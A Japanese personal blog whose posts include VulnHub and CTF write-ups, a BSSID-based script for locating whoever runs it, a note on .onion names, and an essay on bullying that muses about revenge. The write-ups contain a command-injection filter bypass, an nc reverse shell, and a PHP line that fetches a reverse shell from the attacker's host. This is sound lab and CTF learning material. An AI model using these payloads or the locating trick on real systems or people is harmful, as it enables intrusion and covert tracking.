#!

路上に就職!

フィクションのハッカーみたいに住所を盗む。

フィクションのハッカーはキーボードを叩いて5分くらいで住所を特定する。現実ではありえないけど上手くやれば住所を特定したりできるのでは?と思ったからスクリプトを書いた。clinet,server共にローカルの仮想環境で試した。

 

 

gist.github.com

 

clinet.pyは実行したマシンから周囲のbssidを取得しserver.pyへ送信する。(ここではWindowsを想定している。

Serverは送られて来たbssidを元にGoogleAPIを叩き住所を得ている。

GoogleWifiのbssidをデータベース化し位置情報と紐づけている。bssidを送りつければ緯度と経緯を得られるAPIを提供しているのでそれを利用している。

 

おわり

 

 

 

Bulldog writeup

vulnhubで公開されてるBullDogという問題を解きました。

https://www.vulnhub.com/entry/bulldog-1,211/

f:id:x6d61:20171230214954p:plain

仮想をマシンを起動したらIPアドレスが192.168.56.101だということがわかりました。起動してすぐにipアドレスがわかるのはいいですね。

次にNmapでポートスキャンをかけます。

sudo nmap -T4 -sS -sC -sV 192.168.56.101 -p0-65535
Password:

Starting Nmap 7.30 ( https://nmap.org ) at 2017-12-30 21:51 JST
Nmap scan report for www.convert.me (192.168.56.101)
Host is up (0.00096s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|_  256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.95 seconds

80と8080でwebサービスが動いています。NmapいわくwebアプリはPython製らしいです。 あと23でsshが動いています。

webサービスにアクセスすると可愛いブルドックの画像が載っているページが表示されます。

f:id:x6d61:20171230220609p:plain

攻撃できそうな部分がなかったのでdirsearch.pyを使いディレクトリを調べます。

python dirsearch.py -u http://192.168.56.101 -e php

 _|. _ _  _  _  _ _|_    v0.3.7
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 5151

Error Log: /Users/0x6d61/tool/dirsearch/logs/errors-17-12-31_12-28-24.log

Target: http://192.168.56.101

[12:28:24] Starting:
[12:28:33] 301 -    0B  - /admin  ->  http://192.168.56.101/admin/
[12:28:33] 302 -    0B  - /admin/  ->  http://192.168.56.101/admin/login/?next=/admin/
[12:28:33] 302 -    0B  - /admin/?/login  ->  http://192.168.56.101/admin/login/?next=/admin/%3F/login
[12:28:34] 301 -    0B  - /admin/login  ->  http://192.168.56.101/admin/login/
[12:28:43] 301 -    0B  - /dev  ->  http://192.168.56.101/dev/
[12:28:43] 200 -    3KB - /dev/
[12:28:54] 200 -    1KB - /robots.txt

adminは管理画面、devはセキュリティのためのwebshellを開発した的なことが書いてあります。このwebshellは認証をしないと使えないようです。

f:id:x6d61:20171231123347p:plain

f:id:x6d61:20171231123753p:plain

devのhtmlのソースを見るとhashらしきものがコメントアウトされています。

f:id:x6d61:20171231123816p:plain

sha1っぽいのでオンラインのハッシュクラッカーに投げて見ます。

f:id:x6d61:20171231124214p:plain

nickとsarahのpasswordがわかりました。

nick:bulldog
sarah:bulldoglover

管理画面からログインしwebshellにアクセスするとコマンドが実行できるようになりました。 ただ、許可されたコマンドしか実行できないようなのでこれを回避する方法を考えます。

f:id:x6d61:20171231124825p:plain

echoコマンドが実行できるようなので echo "a `id`" バッククォーテーションを使いコマンドを実行してみます。

f:id:x6d61:20171231125317p:plain

許可されていないidコマンドが実行できました。nc でreverse shellを転送し実行します。

f:id:x6d61:20171231125551p:plain

nc -l 4444
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
$ uname -a
Linux bulldog 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$

shellを奪うことができました。次はroot権限を奪います。kernel に脆弱性があるか探しましたが 特にありませんでした。内部を探索すると /home/bulldogadmin に .hiddenadmindirectory というディレクトリがあることがわかりました。

$ pwd
/home/bulldogadmin/.hiddenadmindirectory
$ ls
customPermissionApp
note
$ cat note
Nick,

I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not!

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!

-Ashley
$

ディレクトリにあるfile は customPermissionApp と note でnoteにはcustomPermissionAppの説明が書いてあります。fileコマンドで確認すると

~$ file customPermissionApp
customPermissionApp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c9f2333253302d74eff3da59653f82d28f9eb36f, not stripped

not strippedのバイナリのようです。 また、customPermissionApp を実行するとsudoコマンドが呼び出されていることがわかります。 次はstringsコマンドで確認すると

/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
        Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c

(snip)

SUPERから始まる気になる文字列があります。これがパスワードではないかと考えました。ここから試行錯誤すること数時間… パスワードは SUPERultimatePASSWORDyouCANTget であることがわかりました。

🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔

root@bulldog:~# cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
root@bulldog:~#

flagを読むことができました!!!

感想

パスワード推測問題をやめろ

zico2 writeup

vulnhubにあるzico2という問題を解いた。

www.vulnhub.com

まずはホストを探すためにarp-scan を使用した。

Interface: vboxnet0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.56.100  08:00:27:40:cd:ca   CADMUS COMPUTER SYSTEMS
192.168.56.101  08:00:27:98:69:ca   CADMUS COMPUTER SYSTEMS

512 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.857 seconds (137.86 hosts/sec). 2 responded

ipアドレスは192.168.56.101なのでブラウザでアクセスしてみる。 f:id:x6d61:20171009005059p:plain

脆弱性を探していると view.php?page=tools.html にディレクトリトラバーサルが存在することがわかった。 f:id:x6d61:20171009005425p:plain

php://filterでソースコードを取得することもできず、特に有用な情報を得られなかったので dirsearchを使い他のファイルがないか探すことにした。

Target: http://192.168.56.101/

[23:44:27] Starting:
[23:44:36] 403 -  286B  - /.hta
[23:44:36] 403 -  293B  - /.ht_wsr.txt
[23:44:36] 403 -  295B  - /.htaccess-dev
[23:44:36] 403 -  297B  - /.htaccess-local
[23:44:36] 403 -  297B  - /.htaccess-marco
[23:44:36] 403 -  295B  - /.htaccess.BAK
[23:44:36] 403 -  295B  - /.htaccess.old
[23:44:36] 403 -  296B  - /.htaccess.orig
[23:44:36] 403 -  296B  - /.htaccess.bak1
[23:44:36] 403 -  296B  - /.htaccess.save
[23:44:36] 403 -  298B  - /.htaccess.sample
[23:44:36] 403 -  295B  - /.htaccess.txt
[23:44:36] 403 -  295B  - /.htaccessOLD2
[23:44:36] 403 -  294B  - /.htaccessBAK
[23:44:36] 403 -  296B  - /.htaccess_orig
[23:44:36] 403 -  294B  - /.htaccessOLD
[23:44:36] 403 -  297B  - /.htaccess_extra
[23:44:36] 403 -  294B  - /.htaccess_sc
[23:44:36] 403 -  290B  - /.htgroup
[23:44:36] 403 -  292B  - /.htaccess~
[23:44:37] 403 -  292B  - /.htpasswds
[23:44:37] 403 -  295B  - /.htpasswd-old
[23:44:37] 403 -  290B  - /.htusers
[23:44:37] 403 -  296B  - /.htpasswd_test
[23:44:56] 200 -    1KB - /README.md
[23:45:37] 403 -  290B  - /cgi-bin/
[23:45:45] 301 -  314B  - /css  ->  http://192.168.56.101/css/
[23:45:47] 301 -  318B  - /dbadmin  ->  http://192.168.56.101/dbadmin/
[23:45:47] 200 -  917B  - /dbadmin/
[23:45:49] 403 -  286B  - /doc/
[23:45:49] 403 -  300B  - /doc/stable.version
[23:45:49] 403 -  301B  - /doc/en/changes.html
[23:45:59] 200 -    3KB - /gulpfile.js
[23:46:02] 301 -  314B  - /img  ->  http://192.168.56.101/img/
[23:46:04] 200 -    8KB - /index
[23:46:05] 200 -    8KB - /index.html
[23:46:08] 301 -  313B  - /js  ->  http://192.168.56.101/js/
[23:46:22] 200 -  789B  - /package.json
[23:46:22] 200 -  789B  - /package
[23:46:36] 403 -  295B  - /server-status
[23:46:36] 403 -  296B  - /server-status/
[23:46:48] 200 -    8KB - /tools
[23:46:52] 200 -    0B  - /view.php

Task Completed

dbadminというディレクトリがあるらしいのでアクセスすると test_db.phpというファイルがあった。 f:id:x6d61:20171009005842p:plain

でアクセスするとphpLiteAdminという管理パネルらしい。バージョンは1.9.3 f:id:x6d61:20171009010027p:plain

id:admin,PW:adminで管理画面に入ることができた。

exploitがあるかGoogle先生で検索すると

www.youtube.com

上記の動画が引っかかった。動画と同じ手順で下記のコードを実行する。

<?php function dl($u,$o){$c = file_get_contents($u);file_put_contents($o,$c);}dl("http://192.168.56.1/php-reverse-shell.php",realpath(realpath(dirname(__FILE__)))."/back.php")?>

phpのreverse shellは下記のURLから拝借した。 http://pentestmonkey.net/tools/web-shells/php-reverse-shell

ビンゴ!

f:id:x6d61:20171009010454p:plain

shellを奪えた。

~$ uname -a
Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

kernel exploitがないか探すとCVE-2013-2094が使えるらしい。 コンパイルして実行するとrootが取れた。

あとはflagを読むだけ

whoami
root
cd /root
ls
flag.txt
cat flag.txt
#
#
#
# ROOOOT!
# You did it! Congratz!
#
# Hope you enjoyed!
#
#
#
#

HackCon 2017 writeup

HackConにBK201で参加した。146ポイントで順位は102。

Noobcoder 50Pt

PHP初心者が作ったログインフォームがある。 f:id:x6d61:20170826185010p:plain SQLiなどもなさそうなので、初心者がやりそうなミスを探してみるとchecker.php~をダウンロードすることができた。

<html>
<head>
</head>
<body>
<?php
if ($_POST["username"] == $_POST["password"] && $_POST["password"] !== $_POST["username"])
    echo "congratulations the flag is d4rk{TODO}c0de";
else
    echo "nice try, but try again";
?>
</body>

暗黙の型変換で一致して、厳密な型の比較で一致しない値 100 と 1e2を送信してflag

f:id:x6d61:20170826190101p:plain

d4rk{l0l_g3dit_m4ster_roxx}c0de

Magic 50Pt

またログインフォームだけで脆弱性はない。 レスポンスを見てみるとSet-Cookieがかなりある。

curl -I http://139.59.13.232:6060
HTTP/1.1 200 OK
Host: 139.59.13.232:6060
Connection: close
X-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1
Set-Cookie: 0=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 1=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 2=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 3=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 4=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 5=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 6=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 7=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 8=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 9=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 10=%5B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 11=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 12=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 13=%3E; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 14=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 15=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 16=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
(skip)
Set-Cookie: 436=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 437=%2B; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Set-Cookie: 438=.; expires=Thu, 01-Jan-1970 00:00:10 GMT; Max-Age=0; path=/
Content-type: text/html; charset=UTF-8

連番のcookieを抜き出すsolveを書く

import requests
import urllib
import httplib
httplib._MAXHEADERS = 1000
cookie = []
url = "http://defcon.org.in:6060/"
r = requests.get(url)
list = r.headers['Set-Cookie'].split(';')
test = (list[0::3])
try:
    for i in test[1::]:
        split = i.split(',')
        cookie.append(split[1])
except:
    pass
r = []
for i in cookie:
    s = i.split('=')
    r.append(s[1])
print urllib.unquote(''.join(r))

繋げた値がBrainfuck っぽいのでBrainfuckを実行できるWebサービスに投げる f:id:x6d61:20170826235147p:plain

f:id:x6d61:20170826235315p:plain そしたらpassword が降ってくるのでアクセスしてflag

d4rk{c00k13s_4r3_fun}c0de

Rotate it 2Pt

rot13 やるだけ

d4rk{wh0_give$_ca3sar_in_CTF???}c0de

High Bass 3Pt

base64 するだけ

d4rk{that_$impl_3n0ugh4_U}c0de

File 3Pt

x86-64の実行ファイルを落として実行するだけ

d4rk{s1mpl_linux_execUt4ble}c0de

Needle P3

解凍して出て来たtext.txtからflagを探すだけ strings text.txt | ggrep d4rk

d4rk{n33dle_in_a_h4ystck}c0de

ALL CAPS 5Pt

換字式暗号

D4RK{TRY_FACCH3_IFTHIS_TOO_SIMPEL}C0DE

flag.txt 10Pt

f:id:x6d61:20170826201019p:plain アクセスするとRobotの記事のリンクが貼ってある。 robots.txtにアクセスすると 500786FBFB9CADC4834CD3783894239D ディレクトリがあることが わかる。

User-agent: *
Disallow: /500786FBFB9CADC4834CD3783894239D

500786FBFB9CADC4834CD3783894239D以下のflag.txtにアクセスしてflag

d4rk{r0b075_7x7_4r3_v3ry_c0mm0n}c0de

Welcome 5Pt

esya.iiitd.edu.in のソースを見るとflagが書いてある。

f:id:x6d61:20170826201721p:plain

d4rk{w3lc0m3_t0_35y4_2017}c0de

Keep talking 5Pt

HackCon 2017のSlackにアクセスするとflagがある。

d4rk{Pink_Floyd_1$_Awes0me}c0de

RSA-1 10Pt

他人のコード拝借して終了

d4rk{s1mpl3_rsa_n0t_th1s_34sy_next_time}c0de

競技が終了してから解いた問題

Stolen Calculator - PWN 100Pt

f:id:x6d61:20170827162302p:plain アクセスするとオンライン電卓(?)が操作できる。calc.jsが呼び出されてるので見てみると こんなコードがある。

                  for( var i=0  ; i < expr.length ; i++ )
                  if( charset.indexOf(expr[i]) < 0 )
                  {
                        alert("You can only use mathamatical expressions ")
                  }

                  urll = "http://defcon.org.in:10300/" + encodeURIComponent( strrr );
                  $.get( urll , function(res){
                      $("#data").html( res )  
                  })

http://defcon.org.in:10300 が怪しいのでアクセスしてみる。真っ白なページだったが /1+1とリクエストを送信すると2と表示され、文字列を送信するとerrが返ってくる。

f:id:x6d61:20170827162929p:plain

http://defcon.org.in:10300/{{1+1}} とリクエストを送信すると2と返って来たことから server side template injection の 脆弱性が存在することが 分かる。

f:id:x6d61:20170827163615p:plain

http://defcon.org.in:10300/{{process.cwd()}} と文字列を送信するとエラーが返ってくるため 数値または記号で難読化して送信しようと考えた。JsFuckはnodeJSにも対応してるらしいので

jscrew.it

上記のサイトで以下のコードを難読化して送信した。

process.binding('fs').internalModuleReadFile('/flag.txt')

そしたらflag

f:id:x6d61:20170827164158p:plain

d4rk{jaVaScriPtFuck}c0de

擬似ドメイン.onionの生成法

 

torで使用される擬似ドメインの.onionがどういう仕組みで決定されるのかわからなかったので調べた。

 

doc/HiddenServiceNames – Tor Bug Tracker & Wiki

 

こちらに全て書いてあった。

RSA-1024で公開鍵、秘密鍵を作成し公開鍵をDERでエンコードする。

公開鍵のハッシュ値sha1で取得する。ハッシュ値の前半部分(80bit)をbase32でエンコードする。

ということなのでプログラムを書いた。

 

This program creates an onion domain.

 

多分あってる。

おわり

 

呪い

なぜ私はこのようになってしまったのか。

多くは小さい頃から虐げられてきたことが原因だろう。ここで言わせてもらうが

決して両親から虐待を受けていたわけではない。両親には色々といい経験をさせてもらった。それ故に今を申し訳なく思う。

高校生ぐらいまでほとんどの子供は二つの世界しか知らないと思う。家族と学校(それに準じる環境)だ。私はどちらも健全でなければまともな人間は育たないと思っている。私は家族は皆優しく健全であったが学校環境が違った。小さい頃から友人とうまく行かず、その記憶は保育園の頃から存在してる。 保育園の頃よく仲間外れにされていた。彼らは私の何が面白くなくて仲間外れにしたのか未だにわからない。保育園で馬鹿にされていて女の子に守ってもらった記憶がある。そして、それは小学校に上がっても変わらなかった。父の都合で学校を転々としたがどの学校も私の扱いは同じだった。なぜか人に馬鹿にされる。教師にもだ。そこまで私は馬鹿にしやすい人間なのだろうか。どうして私には周りの人と同じように扱われないのだろうか。まだ子供で純粋だったのが幸いしたのだろう。そこまで汚染されることはなかった。中学に上がると人生を変える、今の私を形成するような出来事が起こる。それは中学2年生の時だ、ある日突然いじめが始まった。最初は数人だったがやがてクラス全体に広がった。いじめの内容は様々だった。物を取られたり体育でボールを当てられたり罵倒など当然のことながら私の扱いは底辺に落ちた。クラス替えでこのいじめは終結するのだが私の心に大きな爪痕を残した。中学校三年生になり受験に向けて準備していくのだがどうしても身が入らなかった。

なぜ自分はうまく行かないのだろう。そういった考えばかりが頭を支配した。そしてインターネットに逃げることになる。学校では寝て夜中に活動する。それでも何とか志望校に受かった。

志望校に受かったこととやっと中学校から解放されたことで安堵した。高校ではいじめはなかったが

クラスメイトと私の間に分厚い壁を感じることになった。なぜ他の人は楽しく遊んだり青春を謳歌しているのに私にはできないのか。私はずっと考えた。だが結論は出なかった。ただ確かなことは私はいてもいなくてもいい人間ということだけだ。そして私はどうして自分だけが褒美をもらえず対価(勉強、自分の嫌なこと)を払い続けなければいけないのかと思い学業をやめた。この時は両親に多大な迷惑をかけたと思う。

 私は今も中学生の時の夢を見る。いじめられる夢、いじめられるが仕返しし相手をぐちゃぐちゃにする夢、様々だ。現在でも悔いていることはわかる。どうして自分の手で仕返ししなかったのだろうか。仕返ししていたら少しは変わっていたかもしれない。そして若者数人とすれ違う時すごく自分が馬鹿にされているような感覚に襲われるのだ。その人たちは自分のことを何とも思ってないと思う。だが自分にとっては恐怖でしかない。また誰かが笑えば私が笑われているように感じる。外をで歩くだけで一苦労だ。ほとんどの時はどこでもない空間を見つめ何も考えないようにしている。私は今の私を形成する原因となった人たちに復讐する権利があるのではないだろうかと思っている。

 

私はつい最近壊れたのではないと思う。緩やかに壊れ続けてやっと今壊れたのだ。

この性格や呪いが今後治ることはないだろうし一生付き合っていくしかないのだろう。